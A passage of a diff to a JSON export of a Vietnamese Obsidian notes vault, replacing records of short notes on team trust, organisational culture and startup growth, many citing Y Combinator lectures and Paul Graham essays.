vì không có người dùng sản phẩm của mình]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2023-12-06T10:22:00.000Z", - "id": "Lf" + "Ngày tạo": "2023-11-26T05:45:00.000Z", + "Ngày cập nhật": "2023-11-26T08:27:00.000Z", + "id": "Lt" }, { - "Tiêu đề": "Có một quy trình đánh giá năng lực định kỳ sẽ làm giảm vấn đề khi tăng lương hoặc đuổi việc nhân viên", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Xây dựng nhóm, quản lý nhân sự/Tạo sự tin tưởng/Có một quy trình đánh giá năng lực định kỳ sẽ làm giảm vấn đề khi tăng lương hoặc đuổi việc nhân viên", + "Tiêu đề": "Chiếm lĩnh thị trường nhỏ trước", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Thành lập dự án/Startup/Chiếm lĩnh thị trường nhỏ trước", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: [[Minh bạch]]\n\nNguồn:: [[Y Combinator]], ![Lecture 15 - How to Manage (Ben Horowitz) - YouTube](https://youtu.be/uVhTvQXfibU?si=X55G7g_lyph-oIMv&t=786)\n[[Nhìn thấy được người kia đang làm gì làm tăng sự tin tưởng đối với họ]]", + "Toàn bộ nội dung": "[[Làm thứ một số người rất cần quan trọng hơn là làm thứ nhiều người thấy hay]]. Biến một thứ một số người cần thành một thứ nhiều người cần dễ hơn là biến một thứ nhiều người thích thành một thứ nhiều người cần\n\n[[Tăng trưởng của thị trường quan trọng hơn tăng trưởng doanh số]] \n[[Đa số startup không chết vì cạnh tranh với đối thủ, mà vì không có người dùng sản phẩm của mình]]\n\nNguồn:: [[Y Combinator]], [Lecture 1 - How to Start a Startup (Sam Altman, Dustin Moskovitz) - YouTube](https://youtu.be/CBYhVcO4WgI?si=goJZ_SaMrzyTUcpj&t=1002)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2023-12-06T10:22:00.000Z", - "id": "Lg" + "Ngày cập nhật": "2023-11-26T08:24:00.000Z", + "id": "Lu" }, { - "Tiêu đề": "Một nhóm đáng tin là nhóm mà các thành viên có thể nói lên sai lầm của mình", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Xây dựng nhóm, quản lý nhân sự/Tạo sự tin tưởng/Một nhóm đáng tin là nhóm mà các thành viên có thể nói lên sai lầm của mình", + "Tiêu đề": "Hiểu về quản trị chỉ cần thiết khi đã có thành công bước đầu. Trước đó thì hãy chỉ tập trung vào sản phẩm", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Thành lập dự án/Startup/Hiểu về quản trị chỉ cần thiết khi đã có thành công bước đầu. Trước đó thì hãy chỉ tập trung vào sản phẩm", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: \n[[Một tổ chức đáng làm tạo ra được động lực nội sinh ở nhân viên]]\n", + "Toàn bộ nội dung": "Những nhân viên đầu tiên ta không phải quản lý, vì họ cũng không khác gì người sáng lập cả\n\nNguồn:: [[Y Combinator]], ![Lecture 3 - Before the Startup (Paul Graham) - YouTube](https://www.youtube.com/watch?v=ii1jcLg-eIQ)\n\n[[Chỉ nên nghĩ về viral khi đã có một lượng người thực sự sử dụng sản phẩm của mình]] ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-06-09T05:01:00.000Z", - "Ngày cập nhật": "2023-12-06T10:22:00.000Z", - "id": "Lh" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2023-11-26T08:24:00.000Z", + "id": "Lv" }, { - "Tiêu đề": "Nhìn thấy được người kia đang làm gì làm tăng sự tin tưởng đối với họ", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Xây dựng nhóm, quản lý nhân sự/Tạo sự tin tưởng/Nhìn thấy được người kia đang làm gì làm tăng sự tin tưởng đối với họ", + "Tiêu đề": "Không có giải pháp nào cho người sáng lập để giải quyết sự quá tải ngoài những lời khuyên chung chung", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Thành lập dự án/Startup/Không có giải pháp nào cho người sáng lập để giải quyết sự quá tải ngoài những lời khuyên chung chung", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: [[Minh bạch]], [[Tin tưởng]]\n[[Để một hệ sinh thái hoạt động thực sự hiệu quả thì lượng năng lượng dành ra để nắm bắt tín hiệu của môi trường phải giảm tới mức gần như bằng 0]]. [[Một hệ sinh thái không hoạt động bằng cách đặt câu hỏi, mà bằng cách không cần hỏi cũng biết câu trả lời là gì]]\n\nKhái niệm:: \n\nNguồn:: ", + "Toàn bộ nội dung": "[[Vấn đề ngắn hạn hay dài hạn không quan trọng, quan trọng là làm cái này mà phải nghĩ về cái khác thì sẽ nhức đầu]] \n[[Chưa thấy có dự án nào nói về việc làm giảm tải gánh nặng công việc cho người bên cạnh mình]] ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2023-12-30T07:47:00.000Z", - "id": "Li" + "Ngày tạo": "2023-11-04T08:15:00.000Z", + "Ngày cập nhật": "2024-08-21T11:23:00.000Z", + "id": "Lw" }, { - "Tiêu đề": "Văn hoá tổ chức là những giá trị, niềm tin và hành động của mỗi thành viên giúp đóng góp cho sứ mạng của nó", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Xây dựng nhóm, quản lý nhân sự/Tạo sự tin tưởng/Văn hoá tổ chức là những giá trị, niềm tin và hành động của mỗi thành viên giúp đóng góp cho sứ mạng của nó", + "Tiêu đề": "Làm người sáng lập có hại cho việc cân bằng cuộc sống", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Thành lập dự án/Startup/Làm người sáng lập có hại cho việc cân bằng cuộc sống", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: [[Văn hoá]]\n\nNguồn:: [[Y Combinator]], ![Lecture 10 - Culture (Brian Chesky, Alfred Lin) - YouTube](https://www.youtube.com/watch?v=RfWgVWGEuGE)\n[[Văn hoá là một tập hợp các văn bản]]. [[Văn hoá có liên quan chặt chẽ đến biểu tượng]]", + "Toàn bộ nội dung": "Nguồn:: ![Sam Altman - How to Succeed with a Startup - YouTube](https://youtu.be/0lJKucu6HJc?si=KZSfIRxwf6NzLRPa&t=618)\n\n[[Bảng quan trọng – khẩn cấp]]\n[[Quản lý công việc và quản lý kiến thức không thể tách rời nhau]], vì [[Công việc khai phá chính là quản lý kiến thức]] \n[[Không có giải pháp nào cho người sáng lập để giải quyết sự quá tải ngoài những lời khuyên chung chung]]\n[[Việc mải mê làm việc đến quên cả đói cho thấy phần thưởng từ việc làm việc là đủ lớn hơn việc được ăn]] \n[[Chưa thấy có dự án nào nói về việc làm giảm tải gánh nặng công việc cho người bên cạnh mình]] \n[[Các dự án xã hội không tập trung vào việc đối thoại với người bên cạnh mình]]\n[[Công việc và cuộc sống không thể tách rời nhau]] \n[[Xong hạn chót này thì sẽ tới hạn chót khác]] \n[[Nhiều người muốn hỏi ý kiến của người sáng lập nhưng không hỏi trong cộng đồng chung mà chỉ muốn nhắn riêng]]\n[[Công việc và cuộc sống không thể tách rời nhau]]\n[[Những công việc chưa hoàn thành sẽ ám ảnh ta (hiệu ứng Zeigarnik)]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2023-12-06T10:22:00.000Z", - "id": "Lj" + "Ngày cập nhật": "2024-08-21T11:23:00.000Z", + "id": "Lx" }, { - "Tiêu đề": "Chuyển giao tri thức rất khó khăn", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Xây dựng nhóm, quản lý nhân sự/Tổ chức học tập/Chuyển giao tri thức rất khó khăn", + "Tiêu đề": "Làm thứ phức tạp hơn thì dễ, làm thứ tốt hơn thì khó", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Thành lập dự án/Startup/Làm thứ phức tạp hơn thì dễ, làm thứ tốt hơn thì khó", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ![Douglas Crockford: The JSON Saga - YouTube](https://youtu.be/-C-JoyNuQJs?si=fdPRE5nKDx_KynGI&t=1226)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-12-08T06:13:00.000Z", - "id": "Lk" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-01-14T07:25:00.000Z", + "id": "Ly" }, { - "Tiêu đề": "Nếu thất bại nhanh hơn thì sẽ học nhanh hơn", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Xây dựng nhóm, quản lý nhân sự/Tổ chức học tập/Nếu thất bại nhanh hơn thì sẽ học nhanh hơn", + "Tiêu đề": "Nhà đầu tư không ăn cắp ý tưởng vì phải cạnh tranh với các nhà đầu tư khác", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Thành lập dự án/Startup/Nhà đầu tư không ăn cắp ý tưởng vì phải cạnh tranh với các nhà đầu tư khác", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Bất hoà nhận thức giúp chúng ta hiểu sâu sắc hơn]]\n", + "Toàn bộ nội dung": "Trường hợp code quá dễ chắc tầm một tuần là làm được thì mới bị bắt chước, và như vậy thì từ đầu họ đã thấy không đáng để đầu tư rồi. Tự thị trường cũng đã có giải pháp để giải quyết được nhu cầu đó rồi. Chỉ khi nào tốn vài tháng để làm thì mới không đáng copy mà đáng đầu tư, vì nếu đi copy thì sẽ không cạnh tranh được với một nhà đầu tư khác đầu tư luôn vào mình.\n\nChỉ khi nào đã có người thống lĩnh thị trường rồi (70%) thì mới không nên nhảy vào", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-06-11T03:30:00.000Z", - "Ngày cập nhật": "2023-12-06T10:22:00.000Z", - "id": "Ll" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2023-11-26T08:25:00.000Z", + "id": "Lz" }, { - "Tiêu đề": "Tổ chức nào học nhanh hơn đối thủ thì sẽ có lợi thế cạnh tranh lớn hơn", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Xây dựng nhóm, quản lý nhân sự/Tổ chức học tập/Tổ chức nào học nhanh hơn đối thủ thì sẽ có lợi thế cạnh tranh lớn hơn", + "Tiêu đề": "Những dự án ngoài lề thường là ý tưởng tốt cho startup. Những ý tưởng chỉ để có một startup lại thường không tốt", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Thành lập dự án/Startup/Những dự án ngoài lề thường là ý tưởng tốt cho startup. Những ý tưởng chỉ để có một startup lại thường không tốt", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Nếu thất bại nhanh hơn thì sẽ học nhanh hơn]]\r\nNguồn:: [[ABG Open Special 2023]]\r\n", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: [[Y Combinator]], ![Lecture 3 - Before the Startup (Paul Graham) - YouTube](https://www.youtube.com/watch?v=ii1jcLg-eIQ)\n[[Những công cụ nghĩ tốt đa phần là sản phẩm phụ của những nỗ lực giải quyết những vấn đề nghiêm túc]]\n[[When someone's taking time to do something right in the present, they're a perfectionist with no ability to prioritize, whereas when someone took time to do something right in the past, they're a master artisan of great foresight]]\n\n[[Phần thưởng ngoại sinh làm tăng sự tập trung vào đích đến và giảm sự quan sát tới những thứ khác]]\n[[Ý tưởng sinh ra không theo độ khẩn cấp]]\n[[Có những lúc đầu tư vào một người để họ tạo ra sản phẩm của họ sẽ đem lại nhiều lợi nhuận hơn trả lương cho họ để họ làm cho sản phẩm của mình]] \n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-06-11T03:25:00.000Z", - "Ngày cập nhật": "2023-12-06T10:22:00.000Z", - "id": "Lm" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2023-12-06T09:27:00.000Z", + "id": "L-" }, { - "Tiêu đề": "Văn hoá giao tiếp low-context thường có ở tổ chức phẳng. Văn hoá giao tiếp high-context thường có ở tổ chức phân cấp", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Xây dựng nhóm, quản lý nhân sự/Văn hoá giao tiếp low-context thường có ở tổ chức phẳng. Văn hoá giao tiếp high-context thường có ở tổ chức phân cấp", + "Tiêu đề": "Quá trình chú ý và ghi nhớ ép ta phải đơn giản", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Thành lập dự án/Startup/Quá trình chú ý và ghi nhớ ép ta phải đơn giản", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: [Giao tiếp chốn văn phòng: Nói thẳng nói thật hay nói một hiểu mười? | Vietcetera](https://vietcetera.com/vn/giao-tiep-chon-van-phong-noi-thang-noi-that-hay-noi-mot-hieu-muoi)", + "Toàn bộ nội dung": "Khái niệm:: [[Đơn giản]]\n[[Sự đơn giản ép ta phải làm nó cực kỳ tốt]], nhưng [[Chỉ theo đuổi một chỉ số là quá đơn giản]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-06-25T06:32:00.000Z", - "id": "Ln" + "Ngày cập nhật": "2024-07-14T05:43:00.000Z", + "id": "L_" }, { - "Tiêu đề": "❓Thành viên nòng cốt là người chịu trách nhiệm lớn nhất hay là người có nhiều đóng góp nhất", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Xây dựng nhóm, quản lý nhân sự/❓Thành viên nòng cốt là người chịu trách nhiệm lớn nhất hay là người có nhiều đóng góp nhất", + "Tiêu đề": "Startup = tăng trưởng", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Thành lập dự án/Startup/Startup = tăng trưởng", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: [[Vai trò (role)]]\n\nSẽ có những người chỉ làm cho xong trách nhiệm,và có những người sẵn sàng nhận thêm việc dù không phải trách nhiệm của mình. Định nghĩa thành viên nòng cốt thông qua trách nhiệm xem ra không hợp lý cho lắm", + "Toàn bộ nội dung": "Khái niệm:: \nKhông có ai bắt buộc một công ty phải tăng trưởng cả. Giống như những con cá sống ở biển được gọi là cá biển, những công ty nếu có tăng trưởng cao được gọi là startup. Nhưng cá biển với cá sông hay cá hồ thì cũng đều bình đẳng với nhau về định nghĩa. Tăng trưởng không phải là sự trói buộc của công ty hay mô hình kinh doanh, mà là sự trói buộc của loài người trong việc phân loại chúng.\n\nMột công ty làm được $1000/tháng với độ tăng trưởng 1%/tuần sau 4 năm kiếm được $7900/tháng. Nhưng nếu nó có mức độ tăng trưởng 5%/tuần sau 4 năm sẽ kiếm được $25 triệu/tháng. Bởi vì [[Chúng ta không quen thuộc với luỹ thừa]], nên chúng ta khó hiểu được vì sao có những người chấp nhận trói buộc mình vào tăng trưởng đến như vậy.\n\nViệc gọi vốn giúp nhà sáng lập chọn được mức độ tăng trưởng. Nhà đầu tư chấp nhận bỏ những số tiền khủng khiếp cho những ý tưởng rất có thể sẽ thất bại vì mức độ tăng trưởng.\n\nNguồn:: [[Y Combinator]], [Startup = Growth](http://paulgraham.com/growth.html)\n[[Tăng trưởng là khoảng cách giữa chuyển đổi và rời bỏ]] ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2023-12-06T10:22:00.000Z", - "id": "Lo" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-07-24T07:04:00.000Z", + "id": "M0" }, { - "Tiêu đề": "Công cụ", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Công cụ", + "Tiêu đề": "Startup giải quyết những vấn đề nghe thì tồi", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Thành lập dự án/Startup/Startup giải quyết những vấn đề nghe thì tồi", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```dataview\nLIST rows.file.link\nWHERE contains(khái-niệm, [[]])\nGROUP BY split(file.folder, \"/\")[3]\n```", + "Toàn bộ nội dung": "Điều đó khiến cho [[Việc kể ý tưởng startup ra thường không phải là nguy hiểm, vì không ai cạnh tranh với ý tưởng tồi]]\n[[Những nhiệm vụ thách thức làm nhiều người thấy thú vị hơn]] \nNguồn:: [[Y Combinator]], ![Lecture 1 - How to Start a Startup (Sam Altman, Dustin Moskovitz) - YouTube](https://youtu.be/CBYhVcO4WgI?si=s6BJ5d8ZT3xjJXOB&t=564)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-08-28T06:49:00.000Z", - "Ngày cập nhật": "2024-08-28T06:49:00.000Z", - "id": "Lp" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2023-11-26T08:25:00.000Z", + "id": "M1" }, { - "Tiêu đề": "Game hoá", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Game hoá", + "Tiêu đề": "Sự đơn giản ép ta phải làm nó cực kỳ tốt", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Thành lập dự án/Startup/Sự đơn giản ép ta phải làm nó cực kỳ tốt", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```dataview\nLIST\nWHERE contains(khái-niệm, [[]])\n```", + "Toàn bộ nội dung": "Khái niệm:: [[Đơn giản]]\n\nNguồn:: [[Y Combinator]], [Lecture 1 - How to Start a Startup (Sam Altman, Dustin Moskovitz) - YouTube](https://youtu.be/CBYhVcO4WgI?si=SUIPs0AyeGf_MCsM&t=1227)\n\nTuy nhiên, không phải cái gì đơn giản cũng là đúng. Hệ thống nhị nguyên cũng đơn giản. Và ngoài ra, có những thứ đơn giản nhưng ta không thấy được sự đơn giản đó. Hệ thống nhị phân không hề đơn giản với ta.\n\nMâu thuẫn với:: [[Chỉ theo đuổi một chỉ số là quá đơn giản]]\n\n[[Làm thứ phức tạp hơn thì dễ, làm thứ tốt hơn thì khó]] \n[[Quá trình chú ý và ghi nhớ ép ta phải đơn giản]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-08-02T08:24:00.000Z", - "Ngày cập nhật": "2024-08-02T08:24:00.000Z", - "id": "Lq" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-02-05T05:44:00.000Z", + "id": "M2" }, { - "Tiêu đề": "Học", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Học", + "Tiêu đề": "Việc kể ý tưởng startup ra thường không phải là nguy hiểm, vì không ai cạnh tranh với ý tưởng tồi", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Thành lập dự án/Startup/Việc kể ý tưởng startup ra thường không phải là nguy hiểm, vì không ai cạnh tranh với ý tưởng tồi", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```dataview\nLIST\nWHERE contains(khái-niệm, [[]])\n```", + "Toàn bộ nội dung": "Lý do:: [[Startup giải quyết những vấn đề nghe thì tồi]]\nNguồn:: [[Y Combinator]], ![Lecture 1 - How to Start a Startup (Sam Altman, Dustin Moskovitz) - YouTube](https://youtu.be/CBYhVcO4WgI?si=s6BJ5d8ZT3xjJXOB&t=564)\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-08-01T17:59:00.000Z", - "Ngày cập nhật": "2024-08-01T17:59:00.000Z", - "id": "Lr" + "Ngày tạo": "2023-11-26T05:08:00.000Z", + "Ngày cập nhật": "2023-11-26T08:25:00.000Z", + "id": "M3" }, { - "Tiêu đề": "Hỏi", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Hỏi", + "Tiêu đề": "Ý tưởng startup lớn thách thức căn tính của bạn", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Thành lập dự án/Startup/Ý tưởng startup lớn thách thức căn tính của bạn", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```dataview\nLIST\nWHERE contains(khái-niệm, [[]])\n```", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: [[Paul Graham]], ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-07-28T14:54:00.000Z", - "Ngày cập nhật": "2024-07-31T14:08:00.000Z", - "id": "Ls" + "Ngày tạo": "2024-09-02T15:39:00.000Z", + "Ngày cập nhật": "2024-09-02T15:54:00.000Z", + "id": "M4" }, { - "Tiêu đề": "Chuyên gia", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Kinh tế/Chuyên gia", + "Tiêu đề": "Đa số startup không chết vì cạnh tranh với đối thủ, mà vì không có người dùng sản phẩm của mình", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Thành lập dự án/Startup/Đa số startup không chết vì cạnh tranh với đối thủ, mà vì không có người dùng sản phẩm của mình", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", + "Toàn bộ nội dung": "[[Nhà đầu tư không ăn cắp ý tưởng vì phải cạnh tranh với các nhà đầu tư khác]]\n[[Làm thứ một số người rất cần quan trọng hơn là làm thứ nhiều người thấy hay]]\nNguồn:: [[Y Combinator]], ![Lecture 1 - How to Start a Startup (Sam Altman, Dustin Moskovitz) - YouTube](https://youtu.be/CBYhVcO4WgI?si=8bWctnhK7TgZV07v&t=1216)\n\n[[Đừng nhìn vào đối thủ cạnh tranh, mà hãy nhìn vào người dùng]]\n\n![The single biggest reason why start-ups succeed | Bill Gross - YouTube](https://youtu.be/bNpx7gpSqbY?si=uSRqm4L6caIKKr2I)\n\n[Do things that don't scale : YC Startup Library | Y Combinator](https://www.ycombinator.com/library/96-do-things-that-don-t-scale)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-29T06:45:00.000Z", - "id": "Lt" + "Ngày cập nhật": "2023-11-27T08:05:00.000Z", + "id": "M5" }, { - "Tiêu đề": "Chuyên nghiệp", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Kinh tế/Chuyên nghiệp", + "Tiêu đề": "Đừng nhìn vào đối thủ cạnh tranh, mà hãy nhìn vào người dùng", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Thành lập dự án/Startup/Đừng nhìn vào đối thủ cạnh tranh, mà hãy nhìn vào người dùng", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: [[Y Combinator]], ![David Rusenko - How To Find Product Market Fit - YouTube](https://youtu.be/0LNQxT9LvM0?si=EZU5bHjpxNDong86&t=3326)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-29T06:45:00.000Z", - "id": "Lu" + "Ngày cập nhật": "2023-11-27T08:05:00.000Z", + "id": "M6" }, { - "Tiêu đề": "Cạnh tranh", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Kinh tế/Cạnh tranh", + "Tiêu đề": "Thành lập dự án", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Thành lập dự án", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", + "Toàn bộ nội dung": "```dataview\nLIST rows.file.link\nFROM \"⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Startup\" \nWHERE file.name!=this.file.name\nGROUP BY split(file.folder, \"/\")[2]\n```\n\n\n[[Chiếm lĩnh thị trường nhỏ trước]]\n[[Chỉ nên nghĩ về viral khi đã có một lượng người thực sự sử dụng sản phẩm của mình]]\n[[Hiểu về quản trị chỉ cần thiết khi đã có thành công bước đầu. Trước đó thì hãy chỉ tập trung vào sản phẩm]]\n[[Không có giải pháp nào cho người sáng lập để giải quyết sự quá tải ngoài những lời khuyên chung chung]]\n[[Những dự án ngoài lề thường là ý tưởng tốt cho startup. Những ý tưởng chỉ để có một startup lại thường không tốt]]\n[[Startup = tăng trưởng]]\n[[Startup giải quyết những vấn đề nghe thì tồi]]\n[[Tăng trưởng của thị trường quan trọng hơn tăng trưởng doanh số]]\n[[Tăng trưởng là khoảng cách giữa chuyển đổi và rời bỏ]]\n[[Trực giác về con người thường đúng. Trực giác về cách startup hoạt động thường sai]]\n[[Tỉ lệ quay lại là thứ quan trọng nhất trong tăng trưởng]]\n[[Từng làm chung với nhau trước khi tuyển dụng sẽ tốt hơn là phỏng vấn]]\n[[Đa số startup không chết vì cạnh tranh với đối thủ, mà vì không có người dùng sản phẩm của mình]]\n[[Làm người sáng lập có hại cho việc cân bằng cuộc sống]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-29T06:43:00.000Z", - "id": "Lv" + "Ngày tạo": "2023-11-05T12:53:00.000Z", + "Ngày cập nhật": "2023-11-13T06:28:00.000Z", + "id": "M7" }, { - "Tiêu đề": "Giá cả", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Kinh tế/Giá cả", + "Tiêu đề": "Trực giác về con người thường đúng. Trực giác về cách startup hoạt động thường sai", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Thành lập dự án/Trực giác về con người thường đúng. Trực giác về cách startup hoạt động thường sai", "Kho thông tin": "Obsidian, quản lý dự án và công cụ 